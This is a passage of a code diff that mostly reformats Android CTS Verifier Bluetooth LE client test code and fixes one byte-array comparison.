Toast.makeText(context, "connectGatt", Toast.LENGTH_SHORT).show();
@@ -566,7 +601,8 @@
}
}
- private void writeCharacteristic(BluetoothGattCharacteristic characteristic, String writeValue) {
+ private void writeCharacteristic(BluetoothGattCharacteristic characteristic,
+ String writeValue) {
if (characteristic != null) {
// Note: setValue() should not be necessary when using writeCharacteristic(byte[]) which
// is added on Android T, but here we call the method in order to make the test
@@ -580,7 +616,7 @@
private void writeCharacteristic(UUID uid, String writeValue) {
BluetoothGattCharacteristic characteristic = getCharacteristic(uid);
- if (characteristic != null){
+ if (characteristic != null) {
writeCharacteristic(characteristic, writeValue);
}
}
@@ -665,14 +701,15 @@
if (shouldSend) {
// This is to send result to the connected GATT server.
writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
- SERVICE_CHANGED_VALUE);
+ SERVICE_CHANGED_VALUE);
}
}
private void setNotification(BluetoothGattCharacteristic characteristic, boolean enable) {
if (characteristic != null) {
mBluetoothGatt.setCharacteristicNotification(characteristic, enable);
- BluetoothGattDescriptor descriptor = characteristic.getDescriptor(UPDATE_DESCRIPTOR_UUID);
+ BluetoothGattDescriptor descriptor = characteristic.getDescriptor(
+ UPDATE_DESCRIPTOR_UUID);
if (enable) {
if (characteristic.getUuid().equals(INDICATE_CHARACTERISTIC_UUID)) {
descriptor.setValue(BluetoothGattDescriptor.ENABLE_INDICATION_VALUE);
@@ -686,8 +723,9 @@
}
}
- private void setNotification(UUID serviceUid, UUID characteristicUid, boolean enable) {
- BluetoothGattCharacteristic characteristic = getCharacteristic(serviceUid, characteristicUid);
+ private void setNotification(UUID serviceUid, UUID characteristicUid, boolean enable) {
+ BluetoothGattCharacteristic characteristic = getCharacteristic(serviceUid,
+ characteristicUid);
if (characteristic != null) {
setNotification(characteristic, enable);
}
@@ -696,7 +734,7 @@
private void setNotification(UUID uid, boolean enable) {
BluetoothGattCharacteristic characteristic = getCharacteristic(uid);
if (characteristic != null) {
- setNotification(characteristic, enable);
+ setNotification(characteristic, enable);
}
}
@@ -911,6 +949,7 @@
}
return characteristic;
}
+
private BluetoothGattCharacteristic getCharacteristic(UUID uuid) {
BluetoothGattCharacteristic characteristic = null;
@@ -991,7 +1030,10 @@
@Override
public void onConnectionStateChange(BluetoothGatt gatt, int status, int newState) {
super.onConnectionStateChange(gatt, status, newState);
- if (DEBUG) Log.d(TAG, "onConnectionStateChange: status= " + status + ", newState= " + newState);
+ if (DEBUG) {
+ Log.d(TAG,
+ "onConnectionStateChange: status= " + status + ", newState= " + newState);
+ }
if (status == BluetoothGatt.GATT_SUCCESS) {
if (newState == BluetoothProfile.STATE_CONNECTED) {
mBleState = newState;
@@ -1034,10 +1076,11 @@
@Override
public void onServicesDiscovered(BluetoothGatt gatt, int status) {
super.onServicesDiscovered(gatt, status);
- if (DEBUG){
+ if (DEBUG) {
Log.d(TAG, "onServiceDiscovered");
}
- if ((status == BluetoothGatt.GATT_SUCCESS) && (mBluetoothGatt.getService(SERVICE_UUID) != null)) {
+ if ((status == BluetoothGatt.GATT_SUCCESS) && (mBluetoothGatt.getService(SERVICE_UUID)
+ != null)) {
notifyServicesDiscovered();
}
}
@@ -1045,7 +1088,7 @@
@Override
public void onMtuChanged(BluetoothGatt gatt, int mtu, int status) {
super.onMtuChanged(gatt, mtu, status);
- if (DEBUG){
+ if (DEBUG) {
Log.d(TAG, "onMtuChanged");
}
if (status == BluetoothGatt.GATT_SUCCESS) {
@@ -1072,12 +1115,14 @@
}
@Override
- public void onCharacteristicWrite(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic, final int status) {
+ public void onCharacteristicWrite(BluetoothGatt gatt,
+ BluetoothGattCharacteristic characteristic, final int status) {
super.onCharacteristicWrite(gatt, characteristic, status);
String value = characteristic.getStringValue(0);
final UUID uid = characteristic.getUuid();
if (DEBUG) {
- Log.d(TAG, "onCharacteristicWrite: characteristic.val=" + value + " status=" + status);
+ Log.d(TAG,
+ "onCharacteristicWrite: characteristic.val=" + value + " status=" + status);
}
if (BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED.equals(mCurrentAction)) {
@@ -1106,11 +1151,14 @@
switch (mExecReliableWrite) {
case RELIABLE_WRITE_NONE:
if (status == BluetoothGatt.GATT_SUCCESS) {
- if (characteristic.getUuid().equals(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID)) {
+ if (characteristic.getUuid().equals(
+ CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID)) {
notifyCharacteristicWriteNeedEncrypted(value);
- } else if (!characteristic.getUuid().equals(CHARACTERISTIC_RESULT_UUID)) {
+ } else if (!characteristic.getUuid().equals(
+ CHARACTERISTIC_RESULT_UUID)) {
// verify
- if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(), characteristic.getValue())) {
+ if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(),
+ characteristic.getValue())) {
notifyCharacteristicWrite(value);
} else {
notifyError("Written data is not correct");
@@ -1118,7 +1166,8 @@
}
} else if (status == BluetoothGatt.GATT_WRITE_NOT_PERMITTED) {
if (uid.equals(CHARACTERISTIC_NO_WRITE_UUID)) {
- writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.WRITE_NO_PERMISSION);
+ writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+ BleServerService.WRITE_NO_PERMISSION);
notifyCharacteristicWriteNoPermission(value);
} else {
notifyError("Not Permission Write: " + status + " : " + uid);
@@ -1134,7 +1183,8 @@
if (WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE.equals(value)) {
// write next data
mExecReliableWrite = ReliableWriteState.RELIABLE_WRITE_WRITE_2ND_DATA;
- writeCharacteristic(CHARACTERISTIC_UUID, WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE);
+ writeCharacteristic(CHARACTERISTIC_UUID,
+ WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE);
} else {
notifyError("Failed to write characteristic: " + status + " : " + uid);
}
@@ -1181,7 +1231,8 @@
}
@Override
- public void onCharacteristicRead(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic, int status) {
+ public void onCharacteristicRead(BluetoothGatt gatt,
+ BluetoothGattCharacteristic characteristic, int status) {
super.onCharacteristicRead(gatt, characteristic, status);
// Note: Both this method and onCharacteristicRead(byte[]) will be called.
UUID uid = characteristic.getUuid();
@@ -1213,12 +1264,13 @@
}
} else if (status == BluetoothGatt.GATT_READ_NOT_PERMITTED) {
if (uid.equals(CHARACTERISTIC_NO_READ_UUID)) {
- writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.READ_NO_PERMISSION);
+ writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+ BleServerService.READ_NO_PERMISSION);
notifyCharacteristicReadNoPermission();
} else {
notifyError("Not Permission Read: " + status + " : " + uid);
}
- } else if(status == BluetoothGatt.GATT_INSUFFICIENT_AUTHENTICATION) {
+ } else if (status == BluetoothGatt.GATT_INSUFFICIENT_AUTHENTICATION) {
notifyError("Not Authentication Read: " + status + " : " + uid);
} else {
notifyError("Failed to read characteristic: " + status + " : " + uid);
@@ -1226,7 +1278,8 @@
}
@Override
- public void onDescriptorWrite(BluetoothGatt gatt, BluetoothGattDescriptor descriptor, int status) {
+ public void onDescriptorWrite(BluetoothGatt gatt, BluetoothGattDescriptor descriptor,
+ int status) {
super.onDescriptorWrite(gatt, descriptor, status);
if (DEBUG) {
Log.d(TAG, "onDescriptorWrite");
@@ -1235,7 +1288,8 @@
if ((status == BluetoothGatt.GATT_SUCCESS)) {
if (uid.equals(UPDATE_DESCRIPTOR_UUID)) {
Log.d(TAG, "write in update descriptor.");
- if (descriptor.getValue() == BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE) {
+ if (Arrays.equals(descriptor.getValue(),
+ BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE)) {
notifyDisableNotificationCompletion();
}
} else if (uid.equals(DESCRIPTOR_UUID)) {
@@ -1250,7 +1304,8 @@
}
} else if (status == BluetoothGatt.GATT_WRITE_NOT_PERMITTED) {
if (uid.equals(DESCRIPTOR_NO_WRITE_UUID)) {
- writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.DESCRIPTOR_WRITE_NO_PERMISSION);
+ writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+ BleServerService.DESCRIPTOR_WRITE_NO_PERMISSION);
notifyDescriptorWriteNoPermission();
} else {
notifyError("Not Permission Write: " + status + " : " + descriptor.getUuid());
@@ -1261,7 +1316,8 @@
}
@Override
- public void onDescriptorRead(BluetoothGatt gatt, BluetoothGattDescriptor descriptor, int status) {
+ public void onDescriptorRead(BluetoothGatt gatt, BluetoothGattDescriptor descriptor,
+ int status) {
super.onDescriptorRead(gatt, descriptor, status);
// Note: Both this method and onDescriptorRead(byte[]) will be called.
if (DEBUG) {
@@ -1292,7 +1348,8 @@
}
} else if (status == BluetoothGatt.GATT_READ_NOT_PERMITTED) {
if (uid.equals(DESCRIPTOR_NO_READ_UUID)) {
- writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.DESCRIPTOR_READ_NO_PERMISSION);
+ writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+ BleServerService.DESCRIPTOR_READ_NO_PERMISSION);
notifyDescriptorReadNoPermission();
} else {
notifyError("Not Permission Read: " + status + " : " + descriptor.getUuid());
@@ -1303,7 +1360,8 @@
}
@Override
- public void onCharacteristicChanged(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic) {
+ public void onCharacteristicChanged(BluetoothGatt gatt,
+ BluetoothGattCharacteristic characteristic) {
super.onCharacteristicChanged(gatt, characteristic);
UUID uid = characteristic.getUuid();
// Note: Both this method and onCharacteristicChanged(byte[]) will be called.
@@ -1427,10 +1485,12 @@
notifyError("Failed to call create bond");
}
} else {
- mBluetoothGatt = connectGatt(result.getDevice(), mContext, false, mSecure, mGattCallbacks);
+ mBluetoothGatt = connectGatt(result.getDevice(), mContext, false,
+ mSecure, mGattCallbacks);
}
} else {
- mBluetoothGatt = connectGatt(result.getDevice(), mContext, false, mSecure, mGattCallbacks);
+ mBluetoothGatt = connectGatt(result.getDevice(), mContext, false, mSecure,
+ mGattCallbacks);
}
} else {
notifyError("There is no validity to Advertise servie.");
@@ -1460,7 +1520,7 @@
builder.append("REQUEST_MTU");
int len = length - builder.length();
for (int i = 0; i < len; ++i) {
- builder.append(""+(i%10));
+ builder.append("" + (i % 10));
}
return builder.toString();
}
@@ -1470,17 +1530,18 @@
public void onReceive(Context context, Intent intent) {
if (intent.getAction().equals(BluetoothDevice.ACTION_BOND_STATE_CHANGED)) {
BluetoothDevice device = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE);
- int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE, BluetoothDevice.BOND_NONE);
+ int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE,
+ BluetoothDevice.BOND_NONE);
switch (state) {
case BluetoothDevice.BOND_BONDED:
if ((mBluetoothGatt == null) &&
- (device.getType() != BluetoothDevice.DEVICE_TYPE_CLASSIC)) {
+ (device.getType() != BluetoothDevice.DEVICE_TYPE_CLASSIC)) {
if (DEBUG) {
Log.d(TAG, "onReceive:BOND_BONDED: calling connectGatt device="
- + device + ", mSecure=" + mSecure);
+ + device + ", mSecure=" + mSecure);
}
mBluetoothGatt = connectGatt(device, mContext, false, mSecure,
- mGattCallbacks);
+ mGattCallbacks);
}
break;
case BluetoothDevice.BOND_NONE:
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
index 051909d..357bb14 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
@@ -228,177 +228,184 @@
String newAction = null;
String actionName = null;
long previousPassed = mPassed;
- final Intent startIntent = new Intent(BleClientTestBaseActivity.this, BleClientService.class);
+ final Intent startIntent = new Intent(BleClientTestBaseActivity.this,
+ BleClientService.class);
if (action != null) {
Log.d(TAG, "Processing " + action);
}
switch (action) {
- case BleClientService.BLE_BLUETOOTH_DISABLED:
- showErrorDialog(R.string.ble_bluetooth_disable_title, R.string.ble_bluetooth_disable_message, true);
- break;
- case BleClientService.BLE_BLUETOOTH_CONNECTED:
- actionName = getString(R.string.ble_client_connect_name);
- mTestAdapter.setTestPass(BLE_CLIENT_CONNECT);
- mPassed |= PASS_FLAG_CONNECT;
- // execute service discovery test
- newAction = BleClientService.BLE_CLIENT_ACTION_BLE_DISCOVER_SERVICE;
- break;
- case BleClientService.BLE_SERVICES_DISCOVERED:
- actionName = getString(R.string.ble_discover_service_name);
- mTestAdapter.setTestPass(BLE_BLE_DISCOVER_SERVICE);
- mPassed |= PASS_FLAG_DISCOVER;
- // execute MTU requesting test (23bytes)
- newAction = BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC;
- break;
- case BleClientService.BLE_MTU_CHANGED_23BYTES:
- actionName = getString(R.string.ble_mtu_23_name);
- mTestAdapter.setTestPass(BLE_REQUEST_MTU_23BYTES);
- mPassed |= PASS_FLAG_MTU_CHANGE_23BYTES;
- // execute MTU requesting test (512bytes)
- newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_512;
- showProgressDialog = true;
- break;
- case BleClientService.BLE_MTU_CHANGED_512BYTES:
- actionName = getString(R.string.ble_mtu_512_name);
- mTestAdapter.setTestPass(BLE_REQUEST_MTU_512BYTES);
- mPassed |= PASS_FLAG_MTU_CHANGE_512BYTES;
- // execute characteristic reading test
- newAction = BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION;
- break;
- case BleClientService.BLE_CHARACTERISTIC_READ:
- actionName = getString(R.string.ble_read_characteristic_name);
- mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC);
- mPassed |= PASS_FLAG_READ_CHARACTERISTIC;
- // execute characteristic writing test
- newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC;
- break;
- case BleClientService.BLE_CHARACTERISTIC_WRITE:
- actionName = getString(R.string.ble_write_characteristic_name);
- mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC);
- mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC;
- newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_23;
- showProgressDialog = true;
- break;
- case BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION:
- actionName = getString(R.string.ble_read_characteristic_nopermission_name);
- mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC_NO_PERMISSION);
- mPassed |= PASS_FLAG_READ_CHARACTERISTIC_NO_PERMISSION;
- // execute unpermitted characteristic writing test
- newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION;
- break;
- case BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION:
- actionName = getString(R.string.ble_write_characteristic_nopermission_name);
- mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC_NO_PERMISSION);
- mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC_NO_PERMISSION;
- // execute reliable write test
- newAction = BleClientService.BLE_CLIENT_ACTION_RELIABLE_WRITE;
- showProgressDialog = true;
- break;
- case BleClientService.BLE_RELIABLE_WRITE_COMPLETED:
- actionName = getString(R.string.ble_reliable_write_name);
- mTestAdapter.setTestPass(BLE_RELIABLE_WRITE);
- mPassed |= PASS_FLAG_RELIABLE_WRITE;
+ case BleClientService.BLE_BLUETOOTH_DISABLED:
+ showErrorDialog(R.string.ble_bluetooth_disable_title,
+ R.string.ble_bluetooth_disable_message, true);
+ break;
+ case BleClientService.BLE_BLUETOOTH_CONNECTED:
+ actionName = getString(R.string.ble_client_connect_name);
+ mTestAdapter.setTestPass(BLE_CLIENT_CONNECT);
+ mPassed |= PASS_FLAG_CONNECT;
+ // execute service discovery test
+ newAction = BleClientService.BLE_CLIENT_ACTION_BLE_DISCOVER_SERVICE;
+ break;
+ case BleClientService.BLE_SERVICES_DISCOVERED:
+ actionName = getString(R.string.ble_discover_service_name);
+ mTestAdapter.setTestPass(BLE_BLE_DISCOVER_SERVICE);
+ mPassed |= PASS_FLAG_DISCOVER;
+ // execute MTU requesting test (23bytes)
+ newAction = BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC;
+ break;
+ case BleClientService.BLE_MTU_CHANGED_23BYTES:
+ actionName = getString(R.string.ble_mtu_23_name);
+ mTestAdapter.setTestPass(BLE_REQUEST_MTU_23BYTES);
+ mPassed |= PASS_FLAG_MTU_CHANGE_23BYTES;
+ // execute MTU requesting test (512bytes)
+ newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_512;
+ showProgressDialog = true;
+ break;
+ case BleClientService.BLE_MTU_CHANGED_512BYTES:
+ actionName = getString(R.string.ble_mtu_512_name);
+ mTestAdapter.setTestPass(BLE_REQUEST_MTU_512BYTES);
+ mPassed |= PASS_FLAG_MTU_CHANGE_512BYTES;
+ // execute characteristic reading test
+ newAction =
+ BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION;
+ break;
+ case BleClientService.BLE_CHARACTERISTIC_READ:
+ actionName = getString(R.string.ble_read_characteristic_name);
+ mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC);
+ mPassed |= PASS_FLAG_READ_CHARACTERISTIC;
+ // execute characteristic writing test
+ newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC;
+ break;
+ case BleClientService.BLE_CHARACTERISTIC_WRITE:
+ actionName = getString(R.string.ble_write_characteristic_name);
+ mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC);
+ mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC;
+ newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_23;
+ showProgressDialog = true;
+ break;
+ case BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION:
+ actionName = getString(R.string.ble_read_characteristic_nopermission_name);
+ mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC_NO_PERMISSION);
+ mPassed |= PASS_FLAG_READ_CHARACTERISTIC_NO_PERMISSION;
+ // execute unpermitted characteristic writing test
+ newAction =
+ BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION;
+ break;
+ case BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION:
+ actionName = getString(R.string.ble_write_characteristic_nopermission_name);
+ mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC_NO_PERMISSION);
+ mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC_NO_PERMISSION;
+ // execute reliable write test
+ newAction = BleClientService.BLE_CLIENT_ACTION_RELIABLE_WRITE;
+ showProgressDialog = true;
+ break;
+ case BleClientService.BLE_RELIABLE_WRITE_COMPLETED:
+ actionName = getString(R.string.ble_reliable_write_name);
+ mTestAdapter.setTestPass(BLE_RELIABLE_WRITE);
+ mPassed |= PASS_FLAG_RELIABLE_WRITE;
// newAction = BleClientService.BLE_CLIENT_ACTION_RELIABLE_WRITE_BAD_RESP;
- // skip Reliable write (bad response) test
- mPassed |= PASS_FLAG_RELIABLE_WRITE_BAD_RESP;
- Log.d(TAG, "Skip PASS_FLAG_RELIABLE_WRITE_BAD_RESP.");
- newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
- showProgressDialog = true;
- break;
- case BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED: {
- actionName = getString(R.string.ble_reliable_write_bad_resp_name);
- if(!intent.hasExtra(BleClientService.EXTRA_ERROR_MESSAGE)) {
+ // skip Reliable write (bad response) test
mPassed |= PASS_FLAG_RELIABLE_WRITE_BAD_RESP;
- mTestAdapter.setTestPass(BLE_RELIABLE_WRITE_BAD_RESP);
+ Log.d(TAG, "Skip PASS_FLAG_RELIABLE_WRITE_BAD_RESP.");
+ newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
+ showProgressDialog = true;
+ break;
+ case BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED: {
+ actionName = getString(R.string.ble_reliable_write_bad_resp_name);
+ if (!intent.hasExtra(BleClientService.EXTRA_ERROR_MESSAGE)) {
+ mPassed |= PASS_FLAG_RELIABLE_WRITE_BAD_RESP;
+ mTestAdapter.setTestPass(BLE_RELIABLE_WRITE_BAD_RESP);
+ }
+ // execute notification test
+ newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
+ showProgressDialog = true;
}
- // execute notification test
- newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
- showProgressDialog = true;
- }
break;
- case BleClientService.BLE_CHARACTERISTIC_CHANGED:
- actionName = getString(R.string.ble_notify_characteristic_name);
- mTestAdapter.setTestPass(BLE_NOTIFY_CHARACTERISTIC);
- mPassed |= PASS_FLAG_NOTIFY_CHARACTERISTIC;
- // execute indication test
- newAction = BleClientService.BLE_CLIENT_ACTION_INDICATE_CHARACTERISTIC;
- showProgressDialog = true;
- break;
- case BleClientService.BLE_CHARACTERISTIC_INDICATED:
- actionName = getString(R.string.ble_indicate_characteristic_name);
- mTestAdapter.setTestPass(BLE_INDICATE_CHARACTERISTIC);
- mPassed |= PASS_FLAG_INDICATE_CHARACTERISTIC;
- // execute descriptor reading test
- newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR;
- break;
- case BleClientService.BLE_DESCRIPTOR_READ:
- actionName = getString(R.string.ble_read_descriptor_name);
- mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR);
- mPassed |= PASS_FLAG_READ_DESCRIPTOR;
- // execute descriptor writing test
- newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR;
- break;
- case BleClientService.BLE_DESCRIPTOR_WRITE:
- actionName = getString(R.string.ble_write_descriptor_name);
- mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR);
- mPassed |= PASS_FLAG_WRITE_DESCRIPTOR;
- // execute unpermitted descriptor reading test
- newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION;
- break;
- case BleClientService.BLE_DESCRIPTOR_READ_NOPERMISSION:
- actionName = getString(R.string.ble_read_descriptor_nopermission_name);
- mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR_NO_PERMISSION);
- mPassed |= PASS_FLAG_READ_DESCRIPTOR_NO_PERMISSION;
- // execute unpermitted descriptor writing test
- newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION;
- break;
- case BleClientService.BLE_DESCRIPTOR_WRITE_NOPERMISSION:
- actionName = getString(R.string.ble_write_descriptor_nopermission_name);
- mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR_NO_PERMISSION);
- mPassed |= PASS_FLAG_WRITE_DESCRIPTOR_NO_PERMISSION;
+ case BleClientService.BLE_CHARACTERISTIC_CHANGED:
+ actionName = getString(R.string.ble_notify_characteristic_name);
+ mTestAdapter.setTestPass(BLE_NOTIFY_CHARACTERISTIC);
+ mPassed |= PASS_FLAG_NOTIFY_CHARACTERISTIC;
+ // execute indication test
+ newAction = BleClientService.BLE_CLIENT_ACTION_INDICATE_CHARACTERISTIC;
+ showProgressDialog = true;
+ break;
+ case BleClientService.BLE_CHARACTERISTIC_INDICATED:
+ actionName = getString(R.string.ble_indicate_characteristic_name);
+ mTestAdapter.setTestPass(BLE_INDICATE_CHARACTERISTIC);
+ mPassed |= PASS_FLAG_INDICATE_CHARACTERISTIC;
+ // execute descriptor reading test
+ newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR;
+ break;
+ case BleClientService.BLE_DESCRIPTOR_READ:
+ actionName = getString(R.string.ble_read_descriptor_name);
+ mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR);
+ mPassed |= PASS_FLAG_READ_DESCRIPTOR;
+ // execute descriptor writing test
+ newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR;
+ break;
+ case BleClientService.BLE_DESCRIPTOR_WRITE:
+ actionName = getString(R.string.ble_write_descriptor_name);
+ mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR);
+ mPassed |= PASS_FLAG_WRITE_DESCRIPTOR;
+ // execute unpermitted descriptor reading test
+ newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION;
+ break;
+ case BleClientService.BLE_DESCRIPTOR_READ_NOPERMISSION:
+ actionName = getString(R.string.ble_read_descriptor_nopermission_name);
+ mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR_NO_PERMISSION);
+ mPassed |= PASS_FLAG_READ_DESCRIPTOR_NO_PERMISSION;
+ // execute unpermitted descriptor writing test
+ newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION;
+ break;
+ case BleClientService.BLE_DESCRIPTOR_WRITE_NOPERMISSION:
+ actionName = getString(R.string.ble_write_descriptor_nopermission_name);
+ mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR_NO_PERMISSION);
+ mPassed |= PASS_FLAG_WRITE_DESCRIPTOR_NO_PERMISSION;
// TODO: too flaky b/34951749
- // execute RSSI requesting test
- // newAction = BleClientService.BLE_CLIENT_ACTION_READ_RSSI;
- mPassed |= PASS_FLAG_READ_RSSI;
- Log.d(TAG, "Skip PASS_FLAG_READ_RSSI.");
- newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY;
- break;
- case BleClientService.BLE_READ_REMOTE_RSSI:
- actionName = getString(R.string.ble_read_rssi_name);
- mTestAdapter.setTestPass(BLE_READ_RSSI);
- mPassed |= PASS_FLAG_READ_RSSI;
- newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY;
- break;
- case BleClientService.BLE_PHY_READ:
- actionName = getString(R.string.ble_read_phy_name);
- mTestAdapter.setTestPass(BLE_READ_PHY);
- mPassed |= PASS_FLAG_READ_PHY;
- newAction = BleClientService.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED;
- break;
- case BleClientService.BLE_ON_SERVICE_CHANGED:
- actionName = getString(R.string.ble_on_service_changed);
- mTestAdapter.setTestPass(BLE_ON_SERVICE_CHANGED);
- mPassed |= PASS_FLAG_ON_SERVICE_CHANGED;
- newAction = BleClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
- break;
- case BleClientService.BLE_BLUETOOTH_DISCONNECTED:
- mTestAdapter.setTestPass(BLE_CLIENT_DISCONNECT);
- mPassed |= PASS_FLAG_DISCONNECT;
- // all test done
- newAction = null;
- break;
- case BleClientService.BLE_BLUETOOTH_MISMATCH_SECURE:
- showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);
- break;
- case BleClientService.BLE_BLUETOOTH_MISMATCH_INSECURE:
- showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_insecure_message, true);
- break;
+ // execute RSSI requesting test
+ // newAction = BleClientService.BLE_CLIENT_ACTION_READ_RSSI;
+ mPassed |= PASS_FLAG_READ_RSSI;
+ Log.d(TAG, "Skip PASS_FLAG_READ_RSSI.");
+ newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY;
+ break;
+ case BleClientService.BLE_READ_REMOTE_RSSI:
+ actionName = getString(R.string.ble_read_rssi_name);
+ mTestAdapter.setTestPass(BLE_READ_RSSI);
+ mPassed |= PASS_FLAG_READ_RSSI;
+ newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY;
+ break;
+ case BleClientService.BLE_PHY_READ:
+ actionName = getString(R.string.ble_read_phy_name);
+ mTestAdapter.setTestPass(BLE_READ_PHY);
+ mPassed |= PASS_FLAG_READ_PHY;
+ newAction = BleClientService.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED;
+ break;
+ case BleClientService.BLE_ON_SERVICE_CHANGED:
+ actionName = getString(R.string.ble_on_service_changed);
+ mTestAdapter.setTestPass(BLE_ON_SERVICE_CHANGED);
+ mPassed |= PASS_FLAG_ON_SERVICE_CHANGED;
+ newAction = BleClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
+ break;
+ case BleClientService.BLE_BLUETOOTH_DISCONNECTED:
+ mTestAdapter.setTestPass(BLE_CLIENT_DISCONNECT);
+ mPassed |= PASS_FLAG_DISCONNECT;
+ // all test done
+ newAction = null;
+ break;
+ case BleClientService.BLE_BLUETOOTH_MISMATCH_SECURE:
+ showErrorDialog(R.string.ble_bluetooth_mismatch_title,
+ R.string.ble_bluetooth_mismatch_secure_message, true);
+ break;
+ case BleClientService.BLE_BLUETOOTH_MISMATCH_INSECURE:
+ showErrorDialog(R.string.ble_bluetooth_mismatch_title,
+ R.string.ble_bluetooth_mismatch_insecure_message, true);
+ break;
}
if (previousPassed != mPassed) {
- String logMessage = String.format("Passed Flags has changed from 0x%08X to 0x%08X. Delta=0x%08X",
- previousPassed, mPassed, mPassed ^ previousPassed);
+ String logMessage = String.format(
+ "Passed Flags has changed from 0x%08X to 0x%08X. Delta=0x%08X",
+ previousPassed, mPassed, mPassed ^ previousPassed);
Log.d(TAG, logMessage);
}
@@ -438,17 +445,14 @@
if (mPassed == PASS_FLAG_ALL) {
Log.d(TAG, "All Tests Passed.");
